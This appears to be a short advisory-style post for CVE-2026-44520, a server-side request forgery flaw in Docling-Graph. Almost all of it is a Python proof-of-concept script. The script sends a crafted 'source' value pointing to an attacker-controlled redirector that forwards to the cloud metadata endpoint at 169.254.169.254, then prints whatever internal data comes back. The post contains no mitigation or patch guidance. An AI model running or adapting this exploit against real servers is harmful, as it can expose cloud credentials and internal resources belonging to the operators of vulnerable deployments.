CVE-2026-44520 Docling-Graph服务端请求伪造漏洞

import requests # Proof of Concept for CVE-2026-44520 # This script demonstrates how an attacker can trigger the SSRF vulnerability # by exploiting the 'source' parameter without IP validation. def trigger_ssrf(target_api, malicious_url): """ Simulates sending a request to the vulnerable Docling-Graph endpoint. :param target_api: The URL of the vulnerable Docling-Graph API instance. :param malicious_url: The URL that redirects to an internal resource. """ headers = { "Content-Type": "application/json" } # Payload exploiting the --source or PipelineConfig.source parameter payload = { "source": malicious_url } try: print(f"[*] Sending payload to {target_api} with source: {malicious_url}") response = requests.post(target_api, json=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print("[+] Response Content:") print(response.text) # Check if response suggests successful connection to internal resource if response.status_code == 200: print("[!] Potential SSRF successful. Check response content for internal data.") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage: # Replace with the actual target endpoint vulnerable_target = "http://localhost:8000/api/v1/process" # A URL that redirects to an internal address (e.g., AWS metadata service) # Attacker controls redirector.com and sets it to redirect to http://169.254.169.254/latest/meta-data/ ssrf_payload = "http://attacker-controlled-redirect.com/redirect-to-metadata" trigger_ssrf(vulnerable_target, ssrf_payload)